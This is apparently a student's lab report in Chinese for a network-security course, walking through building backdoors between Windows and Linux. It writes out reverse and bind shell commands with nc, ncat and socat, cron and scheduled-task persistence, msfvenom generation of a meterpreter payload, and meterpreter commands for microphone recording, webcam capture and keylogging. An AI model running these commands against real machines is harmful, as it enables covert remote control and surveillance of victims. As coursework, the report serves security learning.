Exp2 后门原理与实践
实践内容:###
- 1使用nc实现win,Linux间的后门连接。 热身
- 2使用netcat获取主机操作Shell,cron启动。
- 3使用socat获取主机操作Shell, 任务计划启动。
- 4使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 5使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
学习目标:
- 通过亲手实践建立后门连接,加深对后门的了解与认识,从而提高自己的安全意识。
基础知识:
- 后门就是不经过正常认证流程而访问系统的通道。存在于编译器、操作系统、应用程序中,还有潜伏于操作系统中或伪装为特定应用的专用后门程序。
- 本实验用到的常用后门工具nc(或netcat、ncat)是一个底层工具,进行基本的TCP,UDP数据收发,常被与其他工具结合使用,起到后门的作用;socat是ncat的升级版,任何代理、转发等功能都可以用该工具实现。
- Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
- MSF是能生成后门程序的平台,把后门的基本功能,扩展功能,编码模式,运行平台,以及运行参数全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。本次实验使用msfenom生成的这个后门程序是Meterpreter。
实践开始
1使用nc实现win,Linux间的后门连接###
首先使用ipconfig
和ifconfig
命令分别获得win,linux的ip地址:
1.1 Win获得Linux Shell
1.1.1windows 打开监听
c:\your_nc_dir>ncat.exe -l -p 4304
```*注意此处要进入ncat.exe的目录否则运行不了*
![](https://images2018.cnblogs.com/blog/1344109/201803/1344109-20180329111113325-1766855470.png)
1.1.2Linux反弹连接win
```nc 172.50.1.152 4304 -e /bin/sh
1.1.3windows下获得一个linux shell,可运行任何指令,如ls
1.2 Linux获得Win Shell
1.2.1Linux运行监听指令
1.2.2Windows反弹连接Linux
ncat.exe -e cmd.exe 192.168.128.126 4304
1.2.3Linux下看到Windows的命令提示
2使用netcat获取主机操作Shell,cron启动
2.1在Windows系统下,监听4304端口
ncat.exe -l -p 4304
2.2在linux中使用crontab指令增加一条定时任务,"-e"表示编辑。crontab -e
因为是第一次编辑,故提示选择编辑器,选择3
2.3添加最后一行,在每个小时的第40分钟执行后面的那条指令。
40 * * * * /bin/netcat 192.168.1.105 8090 -e /bin/sh
2.4保存并退出后配置生效。通过rontab -l
来查看,-l
表示list。
2.5到了40分,获得了shell,如下,可执行ls、pwd
3使用socat获取主机操作Shell, 任务计划启动
3.1打开Windows->控制面板->系统和安全->管理工具->任务计划程序,如下:
3.2新建任务计划,填写任务名称:
3.3新建触发器,设置为工作站锁定时,并启用:
3.4新建操作,在程序或脚本中选择所下载的socat.exe文件路径,在添加参数中添加tcp-listen:4304 exec:cmd.exe,pty,stderr
命令,这个命令的作用是把cmd.exe绑定到端口4304,同时把cmd.exe的stderr重定向到stdout上
3.5使用windows+L
锁定计算机让新建的任务执行,如下:
3.6在linux中输入指令socat - tcp:172.30.1.152:4304
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4304端口,此时发现已经成功获取主机操作Shell:
4使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4.1使用msfenom
生成后门可执行文件,输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.128 PORT=4304 -f exe > 20154304_backdoor.exe
其中-p
使用的payload,为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.LHOST
是反弹回连的IP,即攻击机linux
的IP地址,LPORT
是回连的端口,-f
是生成文件的类型, >
输出到哪个文件
4.2使用ncat将生成的文件复制到windows中,注意此时要关闭杀毒软件,
在cmd中输入指令ncat.exe -l 4304 > 4304_backdoor.exe
回车准备接收文件:
在kali中输入指令nc 172.30.1.152 4304 < 20154304_backdoor.exe
发送文件:
复制成功如下:
4.3MSF打开监听进程,输入指令msfconsole
启动用户操作界面:
4.4设置payload,LHOST,LPORT与生成的20154304_backdoor.exe一致
set payload windows/meterpreter/reverse_tcp
,
set LHOST 192.168.126.128
,
set LPORT 4304
4.5设置完成后,输入指令exploit
执行监听,在windows中双击4304_backdoor.exe,Linux平台的监听进程将获得Win主机的主动连接,并得到远程控制shell,如下:
5使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5.1输入指令record_mic
获得目标主机的一段音频:
5.2输入指令webcam_snap
获取目标主机的摄像头拍照:webcam_list查看目标主机是否有摄像头
5.3输入指令webcam_stream
获取目标主机的摄像头录像:
5.4输入指令screenshot
在目标主机上截屏:
5.5输入指令keyscan_start
获得目标主机的击键记录,keyscan_dump
提取记录:
5.6输入指令getsystem
提权失败了( ▼-▼ )
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 非官方网站下载程序,后门被捆绑在软件中
- 意外点击钓鱼网站
- U盘插入
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- win任务计划启动
- linux cron启动
(3)Meterpreter有哪些给你映像深刻的功能?
- 可以获取目标主机的摄像头......
(4)如何发现自己有系统有没有被安装后门?
- 目前只知道杀毒软件...
实践收获###
本次实验感觉非常有趣,有意义,不过在实验中还是遇到了一些非常低级问题延缓了我的实验进度( ▼-▼ )......应该多动脑动手思考。并且让我第一次真正感受到了杀毒软件的重要性,一开始做的时候没关杀毒软件,点了信任,还是没有成功,关了再做才可以成功。我深刻的认识到了后门程序的可怕,以及网络对抗这门课程的重要性,要加强网络安全意识,在今后的课程中我会继续认真学习的~